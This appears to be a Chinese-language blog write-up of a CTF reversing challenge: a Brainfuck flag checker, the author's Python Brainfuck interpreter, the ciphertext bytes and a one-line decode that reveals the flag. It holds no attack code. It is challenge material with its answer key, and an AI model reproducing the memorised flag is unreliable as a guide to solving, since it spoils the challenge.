-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------------------------
-[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------
------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------
---[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
--------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------[[-
]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
------------------------------------------------------------[[-]--+[-<+]-<[-]+>+
+[-->++]]>>>>>------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<
+]-<[-]+>++[-->++]]>>>>>--------------------------------------------------------
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
------------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->+
+]]>>>>>--------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<
[-]+>++[-->++]]>>>>>-------------------------------------[[-]--+[-<+]-<[-]+>++[-
->++]]>>>>>-------------------------------------------------------------------[[
-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------------
------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----
--------------------------------------------------------------[[-]--+[-<+]-<[-]+
>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---[[-]--+[-<+
]-<[-]+>++[-->++]]>>>>>----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-
-------------------------------------------------------------------[[-]--+[-<+]-
<[-]+>++[-->++]]>>>>>-----------------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
-------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------
---------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------
-----------------[[-]--+[-<+]-<[-]+>++[-->++]]+[-<+]->+++[[-]>+++]+[-<+]-<[->[-]
<->++++++++++[>+++++++>+++++++++++>++++++++++>+++>+++++++++++>+++++++++++>++++++
+++++>+++++++++++>++++++++++++>++++>+++>+++++++++++>+++++++++++>+++++++++++>++++
+++++++>++++++++++>+++>++++++++++>++++++++++>+++++++++>++++++++++>++++>+++>+++++
++++++>+++++++++++>++++++++++++>+++>+++++++++>++++++++++>+++++++++>++++++++++>++
+++++++++>++++>+++>+++++++>+++++++++++>+++>+++++++++++>+++++++++++>+++++++++++>+
+++++>+++>++++++++++>++++++++++>++++++++++>+++>+++++>+++++[-<+]->-]>++++++>+>+++
+++++>++>+++++>+>++++>++++>+>++++>++>+++++++++>++++>+>>+++>++>++>++++++++>++++++
+>+++>++++>++>++++++>++++>+>++>+++++++>+++>+++++++>+++++>>++++++>++>+++++++++>++
++>++>>+>++++++>+++>++>+++++>>+++++++>++>++++++++>++[-<+]>>[.[-]>]]>[[-]<->+++++
+++++[>+++++++>++++++++++>+++++++++>++++++++++>+++>+++>++++++++>+++++++++++>++++
+++++++>+++>++++++++++>+++++++++++>+++++++++++>+++>++++++++++>+++++++++++>++++[-
<+]->-]>++++++++>+++++>+++++++++>+>+++>++>+++++++++>+>+++++++>++>+++>+>++++++>++
>+++++>++++++>++++[-<+]>>[.[-]>]]

手工处理一下

>-
>>>>>,[----------[++++++++++>>>>>,>]<]  #每隔5个读入1字符,直到读入0结束
>---<+[-<+]-                            #指针移到开始
>>>>>[                                  #对每个输入处理
	<++++++++++++++++++++++++++++++++p
	[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]p  #第字符-32
	>+++++++++++++++++++++++++++++++++++++++++++++++p  #+47
	>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++p #b1+94
	<[>->+<[>]>[<+>-]<<[<]>-]p
	>[-]p
	>[-<<+>>]p
	>>>]
p+[-<+]->>>>>-------------------------------  #密文核对 n->31 0->3f b->13 z->2b
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------

大概意思差不多明白了,前边输入后5字节一个字符放入数据区,然后加密,然后跟逐个减n,估计要求最后是0,那密文这块的减号个数就是密文

为这还写了个bf的解码器

from pwn import pause 

dat = open('chall.bf', encoding='utf-8').read()

def show(val,ptr):
    print('   '*ptr + ' v')
    print(' '.join([hex(i)[2:].rjust(2) for i in val]))
def bf(msg, inp):
    i_ptr = 0      #输入数据inp指针   
    l_stack = []   #循环栈    
    fp = 0         #代码文件指针  
    val = [0]*200  #数据区
    v_ptr = 0      #数据指针
    while fp<len(msg):
        #print(fp, "{"+msg[:fp]+"}")
        #show(val,v_ptr)
        if msg[fp] == '+':
            val[v_ptr] = (val[v_ptr]+1)%256
            fp+=1
        elif msg[fp] == '-':
            val[v_ptr] = (val[v_ptr]-1)%256
            fp+=1
        elif msg[fp] == '>':
            v_ptr +=1
            fp +=1
        elif msg[fp] == '<':
            v_ptr -=1
            fp +=1
        elif msg[fp] == '.':   #输出
            print('out:'+chr(val[v_ptr]))
            fp +=1
        elif msg[fp] == ',':   #输入
            val[v_ptr] = inp[i_ptr]
            i_ptr +=1
            fp +=1
        elif msg[fp] == '[':
            if val[v_ptr] != 0:
                l_stack.append(fp)
            else:
                cnt = 1 
                while True:
                    fp +=1
                    if msg[fp]=='[':
                        cnt+=1 
                    elif msg[fp] == ']':
                        cnt-=1 
                    else:
                        pass 
                    if cnt==0 and msg[fp]==']':
                        break
            fp +=1
        elif msg[fp] == ']':
            v = l_stack.pop()
            if val[v_ptr] != 0:
                fp = v
            else:
                fp +=1
        elif msg[fp] == 'p' or msg[fp] == 'P':
            show(val, v_ptr)
            fp +=1
            pause()
        elif msg[fp] == '#':  #跳过本行
            while msg[fp] != '\n':
                fp+=1 
            fp +=1 
        else:
            fp +=1 


bf(dat, b'n00bz{@@@@@@@@@@@@@@@@@@@@@@@@0}\x00')

最后也没得到结果,不过知道两个加密有关的数:47,94

回过头来看密文

[31,63, 63, 19, 43, 44, 10, 63, 38, 16, 69, 63, 83, 16, 64, 37, 16, 69, 63, 21, 67, 92, 30, 64, 70, 16, 64, 30, 16, 1, 35, 63, 6, 21, 16, 63, 23, 16, 42, 63, 6, 16, 93, 63, 8, 16, 37, 67, 90, 66, 16, 3, 22, 68, 70, 48, 48, 48, 46]

其实很简单,前边的工作都白作了。

一句话

>>> bytes([i+79 if i<48 else i-15 for i in b])
b'n00bz{Y0u_60D_1t_60d4Mm17_1m_Pr0Ud_0f_y0U_N0W_t4K3_Re57!!!}'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值